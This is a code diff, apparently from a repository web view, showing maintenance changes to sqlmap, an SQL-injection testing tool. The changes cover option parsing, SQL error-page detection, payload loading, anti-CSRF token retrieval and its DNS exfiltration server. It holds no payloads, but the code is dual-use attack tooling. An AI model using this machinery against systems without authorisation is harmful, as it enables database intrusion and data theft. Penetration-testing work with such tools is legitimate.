elif argv[i] in ("-H", "--header") or any(argv[i].startswith("%s=" % _) for _ in ("-H", "--header")):
|
||||
if '=' in argv[i]:
|
||||
extraHeaders.append(argv[i].split('=', 1)[1])
|
||||
elif i + 1 < len(argv):
|
||||
extraHeaders.append(argv[i + 1])
|
||||
elif argv[i] == "--deps":
|
||||
argv[i] = "--dependencies"
|
||||
elif argv[i] == "--disable-colouring":
|
||||
argv[i] = "--disable-coloring"
|
||||
elif argv[i] == "-r":
|
||||
for j in xrange(i + 2, len(argv)):
|
||||
value = argv[j]
|
||||
@@ -1002,7 +1032,7 @@ def cmdLineParser(argv=None):
|
||||
if args.dummy:
|
||||
args.url = args.url or DUMMY_URL
|
||||
|
||||
if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.fuzzTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile)):
|
||||
if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.bedTest, args.fuzzTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile)):
|
||||
errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --list-tampers, --wizard, --update, --purge or --dependencies). "
|
||||
errMsg += "Use -h for basic and -hh for advanced help\n"
|
||||
parser.error(errMsg)
|
||||
|
||||
@@ -52,7 +52,7 @@ class HTMLHandler(ContentHandler):
|
||||
keywords = sorted(keywords, key=len)
|
||||
kb.cache.regex[regexp] = keywords[-1].lower()
|
||||
|
||||
if kb.cache.regex[regexp] in (self._lower_page or kb.cache.regex[regexp]) and re.search(regexp, self._urldecoded_page, re.I):
|
||||
if ('|' in regexp or kb.cache.regex[regexp] in (self._lower_page or kb.cache.regex[regexp])) and re.search(regexp, self._urldecoded_page, re.I):
|
||||
self.dbms = self._dbms
|
||||
self._markAsErrorPage()
|
||||
kb.forkNote = kb.forkNote or attrs.get("fork")
|
||||
@@ -73,6 +73,10 @@ def htmlParser(page):
|
||||
handler = HTMLHandler(page)
|
||||
key = hash(page)
|
||||
|
||||
# generic SQL warning/error messages
|
||||
if re.search(r"SQL (warning|error|syntax)", page, re.I):
|
||||
handler._markAsErrorPage()
|
||||
|
||||
if key in kb.cache.parsedDbms:
|
||||
retVal = kb.cache.parsedDbms[key]
|
||||
if retVal:
|
||||
@@ -89,8 +93,4 @@ def htmlParser(page):
|
||||
|
||||
kb.cache.parsedDbms[key] = handler.dbms
|
||||
|
||||
# generic SQL warning/error messages
|
||||
if re.search(r"SQL (warning|error|syntax)", page, re.I):
|
||||
handler._markAsErrorPage()
|
||||
|
||||
return handler.dbms
|
||||
|
||||
@@ -41,10 +41,10 @@ def cleanupVals(text, tag):
|
||||
return text
|
||||
|
||||
def parseXmlNode(node):
|
||||
for element in node.getiterator("boundary"):
|
||||
for element in node.findall("boundary"):
|
||||
boundary = AttribDict()
|
||||
|
||||
for child in element.getchildren():
|
||||
for child in element:
|
||||
if child.text:
|
||||
values = cleanupVals(child.text, child.tag)
|
||||
boundary[child.tag] = values
|
||||
@@ -53,21 +53,21 @@ def parseXmlNode(node):
|
||||
|
||||
conf.boundaries.append(boundary)
|
||||
|
||||
for element in node.getiterator("test"):
|
||||
for element in node.findall("test"):
|
||||
test = AttribDict()
|
||||
|
||||
for child in element.getchildren():
|
||||
for child in element:
|
||||
if child.text and child.text.strip():
|
||||
values = cleanupVals(child.text, child.tag)
|
||||
test[child.tag] = values
|
||||
else:
|
||||
if len(child.getchildren()) == 0:
|
||||
if len(child.findall("*")) == 0:
|
||||
test[child.tag] = None
|
||||
continue
|
||||
else:
|
||||
test[child.tag] = AttribDict()
|
||||
|
||||
for gchild in child.getchildren():
|
||||
for gchild in child:
|
||||
if gchild.tag in test[child.tag]:
|
||||
prevtext = test[child.tag][gchild.tag]
|
||||
test[child.tag][gchild.tag] = [prevtext, gchild.text]
|
||||
@@ -77,6 +77,15 @@ def parseXmlNode(node):
|
||||
conf.tests.append(test)
|
||||
|
||||
def loadBoundaries():
|
||||
"""
|
||||
Loads boundaries from XML
|
||||
|
||||
>>> conf.boundaries = []
|
||||
>>> loadBoundaries()
|
||||
>>> len(conf.boundaries) > 0
|
||||
True
|
||||
"""
|
||||
|
||||
try:
|
||||
doc = et.parse(paths.BOUNDARIES_XML)
|
||||
except Exception as ex:
|
||||
@@ -89,6 +98,15 @@ def loadBoundaries():
|
||||
parseXmlNode(root)
|
||||
|
||||
def loadPayloads():
|
||||
"""
|
||||
Loads payloads/tests from XML
|
||||
|
||||
>>> conf.tests = []
|
||||
>>> loadPayloads()
|
||||
>>> len(conf.tests) > 0
|
||||
True
|
||||
"""
|
||||
|
||||
for payloadFile in PAYLOAD_XML_FILES:
|
||||
payloadFilePath = os.path.join(paths.SQLMAP_XML_PAYLOADS_PATH, payloadFile)
|
||||
|
||||
|
||||
@@ -343,7 +343,8 @@ def decodePage(page, contentEncoding, contentType, percentDecode=True):
|
||||
# e.g. %20%28%29
|
||||
if percentDecode:
|
||||
if b"%" in page:
|
||||
page = re.sub(b"%([0-9a-fA-F]{2})", lambda _: decodeHex(_.group(1)), page)
|
||||
page = re.sub(b"%([0-9a-f]{2})", lambda _: decodeHex(_.group(1)), page)
|
||||
page = re.sub(b"%([0-9A-F]{2})", lambda _: decodeHex(_.group(1)), page) # Note: %DeepSee_SQL in CACHE
|
||||
|
||||
# e.g. &
|
||||
page = re.sub(b"&([^;]+);", lambda _: six.int2byte(HTML_ENTITIES[getText(_.group(1))]) if HTML_ENTITIES.get(getText(_.group(1)), 256) < 256 else _.group(0), page)
|
||||
@@ -393,7 +394,7 @@ def processResponse(page, responseHeaders, code=None, status=None):
|
||||
if msg:
|
||||
logger.warning("parsed DBMS error message: '%s'" % msg.rstrip('.'))
|
||||
|
||||
if kb.processResponseCounter < IDENTYWAF_PARSE_LIMIT:
|
||||
if not conf.skipWaf and kb.processResponseCounter < IDENTYWAF_PARSE_LIMIT:
|
||||
rawResponse = "%s %s %s\n%s\n%s" % (_http_client.HTTPConnection._http_vsn_str, code or "", status or "", getUnicode("".join(responseHeaders.headers if responseHeaders else [])), page)
|
||||
|
||||
identYwaf.non_blind.clear()
|
||||
|
||||
@@ -63,13 +63,19 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
|
||||
if any((conf.string, conf.notString, conf.regexp)):
|
||||
rawResponse = "%s%s" % (listToStrValue(_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)) if headers else "", page)
|
||||
|
||||
# String to match in page when the query is True and/or valid
|
||||
# String to match in page when the query is True
|
||||
if conf.string:
|
||||
return conf.string in rawResponse
|
||||
|
||||
# String to match in page when the query is False and/or invalid
|
||||
# String to match in page when the query is False
|
||||
if conf.notString:
|
||||
return conf.notString not in rawResponse
|
||||
if conf.notString in rawResponse:
|
||||
return False
|
||||
else:
|
||||
if kb.errorIsNone and (wasLastResponseDBMSError() or wasLastResponseHTTPError()):
|
||||
return None
|
||||
else:
|
||||
return True
|
||||
|
||||
# Regular expression to match in page when the query is True and/or valid
|
||||
if conf.regexp:
|
||||
|
||||
@@ -83,9 +83,9 @@ from lib.core.enums import WEB_PLATFORM
|
||||
from lib.core.exception import SqlmapCompressionException
|
||||
from lib.core.exception import SqlmapConnectionException
|
||||
from lib.core.exception import SqlmapGenericException
|
||||
from lib.core.exception import SqlmapSkipTargetException
|
||||
from lib.core.exception import SqlmapSyntaxException
|
||||
from lib.core.exception import SqlmapTokenException
|
||||
from lib.core.exception import SqlmapUserQuitException
|
||||
from lib.core.exception import SqlmapValueException
|
||||
from lib.core.settings import ASTERISK_MARKER
|
||||
from lib.core.settings import BOUNDARY_BACKSLASH_MARKER
|
||||
@@ -539,7 +539,7 @@ class Connect(object):
|
||||
conn = _urllib.request.urlopen(req)
|
||||
|
||||
if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and (conf.authType or "").lower() == AUTH_TYPE.BASIC.lower():
|
||||
kb.authHeader = getRequestHeader(req, HTTP_HEADER.AUTHORIZATION)
|
||||
kb.authHeader = getUnicode(getRequestHeader(req, HTTP_HEADER.AUTHORIZATION))
|
||||
|
||||
if not kb.proxyAuthHeader and getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION):
|
||||
kb.proxyAuthHeader = getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION)
|
||||
@@ -584,15 +584,14 @@ class Connect(object):
|
||||
refresh = extractRegexResult(JAVASCRIPT_HREF_REGEX, page)
|
||||
|
||||
if refresh:
|
||||
debugMsg = "got Javascript redirect request"
|
||||
debugMsg = "got Javascript redirect logic"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
if refresh:
|
||||
if kb.alwaysRefresh is None:
|
||||
msg = "got a refresh request "
|
||||
msg = "got a refresh intent "
|
||||
msg += "(redirect like response common to login pages) to '%s'. " % refresh
|
||||
msg += "Do you want to apply the refresh "
|
||||
msg += "from now on (or stay on the original page)? [Y/n]"
|
||||
msg += "Do you want to apply it from now on? [Y/n]"
|
||||
|
||||
kb.alwaysRefresh = readInput(msg, default='Y', boolean=True)
|
||||
|
||||
@@ -788,7 +787,7 @@ class Connect(object):
|
||||
kb.connErrorChoice = readInput(message, default='N', boolean=True)
|
||||
|
||||
if kb.connErrorChoice is False:
|
||||
raise SqlmapUserQuitException
|
||||
raise SqlmapSkipTargetException
|
||||
|
||||
if "forcibly closed" in tbMsg:
|
||||
logger.critical(warnMsg)
|
||||
@@ -1046,6 +1045,8 @@ class Connect(object):
|
||||
auxHeaders[value.split(',')[0]] = value.split(',', 1)[-1]
|
||||
|
||||
if conf.csrfToken:
|
||||
token = AttribDict()
|
||||
|
||||
def _adjustParameter(paramString, parameter, newValue):
|
||||
retVal = paramString
|
||||
|
||||
@@ -1062,65 +1063,75 @@ class Connect(object):
|
||||
|
||||
return retVal
|
||||
|
||||
token = AttribDict()
|
||||
page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.csrfMethod or (conf.method if conf.csrfUrl == conf.url else None), cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST))
|
||||
page = urldecode(page) # for anti-CSRF tokens with special characters in their name (e.g. 'foo:bar=...')
|
||||
for attempt in xrange(conf.csrfRetries + 1):
|
||||
if token:
|
||||
break
|
||||
|
||||
match = re.search(r"(?i)<input[^>]+\bname=[\"']?(?P<name>%s)\b[^>]*\bvalue=[\"']?(?P<value>[^>'\"]*)" % conf.csrfToken, page or "", re.I)
|
||||
if attempt > 0:
|
||||
warnMsg = "unable to find anti-CSRF token '%s' at '%s'" % (conf.csrfToken._original, conf.csrfUrl or conf.url)
|
||||
warnMsg += ". sqlmap is going to retry the request"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
if not match:
|
||||
match = re.search(r"(?i)<input[^>]+\bvalue=[\"']?(?P<value>[^>'\"]*)[\"']?[^>]*\bname=[\"']?(?P<name>%s)\b" % conf.csrfToken, page or "", re.I)
|
||||
page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.csrfMethod or (conf.method if conf.csrfUrl == conf.url else None), cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST))
|
||||
page = urldecode(page) # for anti-CSRF tokens with special characters in their name (e.g. 'foo:bar=...')
|
||||
|
||||
match = re.search(r"(?i)<input[^>]+\bname=[\"']?(?P<name>%s)\b[^>]*\bvalue=[\"']?(?P<value>[^>'\"]*)" % conf.csrfToken, page or "", re.I)
|
||||
|
||||
if not match:
|
||||
match = re.search(r"(?P<name>%s)[\"']:[\"'](?P<value>[^\"']+)" % conf.csrfToken, page or "", re.I)
|
||||
match = re.search(r"(?i)<input[^>]+\bvalue=[\"']?(?P<value>[^>'\"]*)[\"']?[^>]*\bname=[\"']?(?P<name>%s)\b" % conf.csrfToken, page or "", re.I)
|
||||
|
||||
if not match:
|
||||
match = re.search(r"\b(?P<name>%s)\s*[:=]\s*(?P<value>\w+)" % conf.csrfToken, str(headers), re.I)
|
||||
match = re.search(r"(?P<name>%s)[\"']:[\"'](?P<value>[^\"']+)" % conf.csrfToken, page or "", re.I)
|
||||
|
||||
if not match:
|
||||
match = re.search(r"\b(?P<name>%s)\s*=\s*['\"]?(?P<value>[^;'\"]+)" % conf.csrfToken, page or "", re.I)
|
||||
match = re.search(r"\b(?P<name>%s)\s*[:=]\s*(?P<value>\w+)" % conf.csrfToken, str(headers), re.I)
|
||||
|
||||
if match:
|
||||
token.name, token.value = match.group("name"), match.group("value")
|
||||
if not match:
|
||||
match = re.search(r"\b(?P<name>%s)\s*=\s*['\"]?(?P<value>[^;'\"]+)" % conf.csrfToken, page or "", re.I)
|
||||
|
||||
match = re.search(r"String\.fromCharCode\(([\d+, ]+)\)", token.value)
|
||||
if match:
|
||||
token.value = "".join(_unichr(int(_)) for _ in match.group(1).replace(' ', "").split(','))
|
||||
token.name, token.value = match.group("name"), match.group("value")
|
||||
|
||||
if not token:
|
||||
if conf.csrfUrl and conf.csrfToken and conf.csrfUrl != conf.url and code == _http_client.OK:
|
||||
if headers and "text/plain" in headers.get(HTTP_HEADER.CONTENT_TYPE, ""):
|
||||
token.name = conf.csrfToken
|
||||
token.value = page
|
||||
|
||||
if not token and conf.cj and any(re.search(conf.csrfToken, _.name, re.I) for _ in conf.cj):
|
||||
for _ in conf.cj:
|
||||
if re.search(conf.csrfToken, _.name, re.I):
|
||||
token.name, token.value = _.name, _.value
|
||||
if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))):
|
||||
if post:
|
||||
post = "%s%s%s=%s" % (post, conf.paramDel or DEFAULT_GET_POST_DELIMITER, token.name, token.value)
|
||||
elif get:
|
||||
get = "%s%s%s=%s" % (get, conf.paramDel or DEFAULT_GET_POST_DELIMITER, token.name, token.value)
|
||||
else:
|
||||
get = "%s=%s" % (token.name, token.value)
|
||||
break
|
||||
match = re.search(r"String\.fromCharCode\(([\d+, ]+)\)", token.value)
|
||||
if match:
|
||||
token.value = "".join(_unichr(int(_)) for _ in match.group(1).replace(' ', "").split(','))
|
||||
|
||||
if not token:
|
||||
errMsg = "anti-CSRF token '%s' can't be found at '%s'" % (conf.csrfToken._original, conf.csrfUrl or conf.url)
|
||||
if not conf.csrfUrl:
|
||||
errMsg += ". You can try to rerun by providing "
|
||||
errMsg += "a valid value for option '--csrf-url'"
|
||||
raise SqlmapTokenException(errMsg)
|
||||
if conf.csrfUrl and conf.csrfToken and conf.csrfUrl != conf.url and code == _http_client.OK:
|
||||
if headers and "text/plain" in headers.get(HTTP_HEADER.CONTENT_TYPE, ""):
|
||||
token.name = conf.csrfToken
|
||||
token.value = page
|
||||
|
||||
if not token and conf.cj and any(re.search(conf.csrfToken, _.name, re.I) for _ in conf.cj):
|
||||
for _ in conf.cj:
|
||||
if re.search(conf.csrfToken, _.name, re.I):
|
||||
token.name, token.value = _.name, _.value
|
||||
if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))):
|
||||
if post:
|
||||
post = "%s%s%s=%s" % (post, conf.paramDel or DEFAULT_GET_POST_DELIMITER, token.name, token.value)
|
||||
elif get:
|
||||
get = "%s%s%s=%s" % (get, conf.paramDel or DEFAULT_GET_POST_DELIMITER, token.name, token.value)
|
||||
else:
|
||||
get = "%s=%s" % (token.name, token.value)
|
||||
break
|
||||
|
||||
if not token:
|
||||
errMsg = "anti-CSRF token '%s' can't be found at '%s'" % (conf.csrfToken._original, conf.csrfUrl or conf.url)
|
||||
if not conf.csrfUrl:
|
||||
errMsg += ". You can try to rerun by providing "
|
||||
errMsg += "a valid value for option '--csrf-url'"
|
||||
raise SqlmapTokenException(errMsg)
|
||||
|
||||
if token:
|
||||
token.value = token.value.strip("'\"")
|
||||
|
||||
for candidate in (PLACE.GET, PLACE.POST):
|
||||
for candidate in (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST, PLACE.URI):
|
||||
if candidate in conf.parameters:
|
||||
if candidate == PLACE.GET and get:
|
||||
if candidate == PLACE.URI and uri:
|
||||
uri = _adjustParameter(uri, token.name, token.value)
|
||||
elif candidate == PLACE.GET and get:
|
||||
get = _adjustParameter(get, token.name, token.value)
|
||||
elif candidate == PLACE.POST and post:
|
||||
elif candidate in (PLACE.POST, PLACE.CUSTOM_POST) and post:
|
||||
post = _adjustParameter(post, token.name, token.value)
|
||||
|
||||
for i in xrange(len(conf.httpHeaders)):
|
||||
@@ -1151,7 +1162,7 @@ class Connect(object):
|
||||
|
||||
if conf.evalCode:
|
||||
delimiter = conf.paramDel or DEFAULT_GET_POST_DELIMITER
|
||||
variables = {"uri": uri, "lastPage": threadData.lastPage, "_locals": locals()}
|
||||
variables = {"uri": uri, "lastPage": threadData.lastPage, "_locals": locals(), "cookie": cookie}
|
||||
originals = {}
|
||||
|
||||
if not get and PLACE.URI in conf.parameters:
|
||||
@@ -1219,10 +1230,11 @@ class Connect(object):
|
||||
variables[unsafeVariableNaming(variable)] = value
|
||||
|
||||
uri = variables["uri"]
|
||||
cookie = variables["cookie"]
|
||||
|
||||
for name, value in variables.items():
|
||||
if name != "__builtins__" and originals.get(name, "") != value:
|
||||
if isinstance(value, (int, six.string_types)):
|
||||
if isinstance(value, (int, float, six.string_types)):
|
||||
found = False
|
||||
value = getUnicode(value, UNICODE_ENCODING)
|
||||
|
||||
|
||||
@@ -49,16 +49,16 @@ class DNSQuery(object):
|
||||
retVal = b""
|
||||
|
||||
if self._query:
|
||||
retVal += self._raw[:2] # Transaction ID
|
||||
retVal += b"\x85\x80" # Flags (Standard query response, No error)
|
||||
retVal += self._raw[4:6] + self._raw[4:6] + b"\x00\x00\x00\x00" # Questions and Answers Counts
|
||||
retVal += self._raw[12:(12 + self._raw[12:].find(b"\x00") + 5)] # Original Domain Name Query
|
||||
retVal += b"\xc0\x0c" # Pointer to domain name
|
||||
retVal += b"\x00\x01" # Type A
|
||||
retVal += b"\x00\x01" # Class IN
|
||||
retVal += b"\x00\x00\x00\x20" # TTL (32 seconds)
|
||||
retVal += b"\x00\x04" # Data length
|
||||
retVal += b"".join(struct.pack('B', int(_)) for _ in resolution.split('.')) # 4 bytes of IP
|
||||
retVal += self._raw[:2] # Transaction ID
|
||||
retVal += b"\x85\x80" # Flags (Standard query response, No error)
|
||||
retVal += self._raw[4:6] + self._raw[4:6] + b"\x00\x00\x00\x00" # Questions and Answers Counts
|
||||
retVal += self._raw[12:(12 + self._raw[12:].find(b"\x00") + 5)] # Original Domain Name Query
|
||||
retVal += b"\xc0\x0c" # Pointer to domain name
|
||||
retVal += b"\x00\x01" # Type A
|
||||
retVal += b"\x00\x01" # Class IN
|
||||
retVal += b"\x00\x00\x00\x20" # TTL (32 seconds)
|
||||
retVal += b"\x00\x04" # Data length
|
||||
retVal += b"".join(struct.pack('B', int(_)) for _ in resolution.split('.')) # 4 bytes of IP
|
||||
|
||||
return retVal
|
||||
|
||||
@@ -114,9 +114,9 @@ class DNSServer(object):
|
||||
|
||||
with self._lock:
|
||||
for _ in self._requests:
|
||||
if prefix is None and suffix is None or re.search(b"%s\..+\.%s" % (prefix, suffix), _, re.I):
|
||||
retVal = _
|
||||
if prefix is None and suffix is None or re.search(b"%s\\..+\\.%s" % (prefix, suffix), _, re.I):
|
||||
self._requests.remove(_)
|
||||
retVal = _.decode()
|
||||
break
|
||||
|
||||
return retVal
|
||||
@@ -165,7 +165,7 @@ if __name__ == "__main__":
|
||||
if _ is None:
|
||||
break
|
||||
else:
|
||||
print("[i] %s" % _.decode())
|
||||
print("[i] %s" % _)
|
||||
|
||||
time.sleep(1)
|
||||
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user